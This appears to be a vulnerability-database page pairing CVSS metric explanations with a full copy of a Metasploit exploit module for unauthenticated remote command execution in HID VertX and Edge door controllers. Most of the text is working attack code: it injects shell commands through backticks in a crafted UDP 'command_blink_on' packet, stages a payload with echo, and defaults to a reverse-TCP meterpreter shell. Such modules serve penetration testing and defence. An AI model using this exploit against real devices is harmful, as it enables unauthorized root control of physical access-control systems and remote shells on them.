The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: HID discoveryd command_blink_on Unauthenticated Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote command execution
vulnerability in the discoveryd service exposed by HID VertX and Edge
door controllers.
This module was tested successfully on a HID Edge model EH400
with firmware version 2.3.1.603 (Build 04/23/2012).
},
'Author' =>
[
'Ricky "HeadlessZeke" Lawshae', # Discovery
'coldfusion39', # VertXploit
'Brendan Coles' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'References' =>
[
['ZDI', '16-223'],
['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
['URL', 'https://github.com/lixmk/Concierge'],
['URL', 'https://github.com/coldfusion39/VertXploit']
],
'DisclosureDate' => 'Mar 28 2016',
'DefaultOptions' =>
{
'WfsDelay' => 30,
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'echo'
},
'Targets' => [['Automatic', {}]],
'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
'DefaultTarget' => 0))
register_options [ Opt::RPORT(4070) ]
end
def check
connect_udp
udp_sock.put 'discover;013;'
res = udp_sock.get(5)
disconnect_udp
if res.to_s.eql? ''
vprint_error 'Connection failed'
return CheckCode::Unknown
end
hid_res = parse_discovered_response res
if hid_res[:mac].eql? ''
vprint_error 'Malformed response'
return CheckCode::Safe
end
@mac = hid_res[:mac]
vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
vprint_line hid_res.to_s
report_service(
host: rhost,
mac: hid_res[:mac],
port: rport,
proto: 'udp',
name: 'hid-discoveryd',
info: hid_res
)
if hid_res[:version].to_s.eql? ''
vprint_error "#{rhost}:#{rport} - Could not determine device version"
return CheckCode::Detected
end
# Vulnerable version mappings from VertXploit
vuln = false
version = Gem::Version.new(hid_res[:version].to_s)
case hid_res[:model]
when 'E400' # EDGEPlus
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EH400' # EDGE EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EHS400' # EDGE EVO Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'ES400' # EDGEPlus Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V1000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V2000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V1000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
when 'V2000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
else
vprint_error "#{rhost}:#{rport} - Device model was not recognized"
return CheckCode::Detected
end
vuln ? CheckCode::Appears : CheckCode::Safe
end
def send_command(cmd)
connect_udp
# double escaping for echo -ne stager
encoded_cmd = cmd.gsub("\\", "\\\\\\")
# packet length (max 44)
len = '044'
# <num> of times to blink LED, if the device has a LED; else
# <num> second to beep (very loudly) if the device does not have a LED
num = -1 # no beep/blink ;)
# construct packet
req = ''
req << 'command_blink_on;'
req << "#{len};"
req << "#{@mac};"
req << "#{num}`#{encoded_cmd}`;"
# send packet
udp_sock.put req
res = udp_sock.get(5)
disconnect_udp
unless res.to_s.start_with? 'ack;'
fail_with Failure::UnexpectedReply, 'Malformed response'
end
end
def execute_command(cmd, opts)
# the protocol uses ';' as a separator,
# so we issue each system command separately.
# we're using the echo command stager which hex encodes the payload,
# so there's no risk of replacing any ';' characters in the payload data.
cmd.split(';').each do |c|
send_command c
end
end
def exploit
print_status "#{rhost}:#{rport} - Connecting to target"
check_code = check
unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
end
# linemax is closer to 40,
# however we need to account for additinal double escaping
execute_cmdstager linemax: 30, :temp => '/tmp'
end
def parse_discovered_response(res)
info = {}
return unless res.start_with? 'discovered'
hid_res = res.split(';')
return unless hid_res.size == 9
return unless hid_res[0] == 'discovered'
return unless hid_res[1].to_i == res.length
{
:mac => hid_res[2],
:name => hid_res[3],
:ip => hid_res[4],
# ? => hid_res[5], # '1'
:model => hid_res[6],
:version => hid_res[7],
:version_date => hid_res[8]
}
end
end
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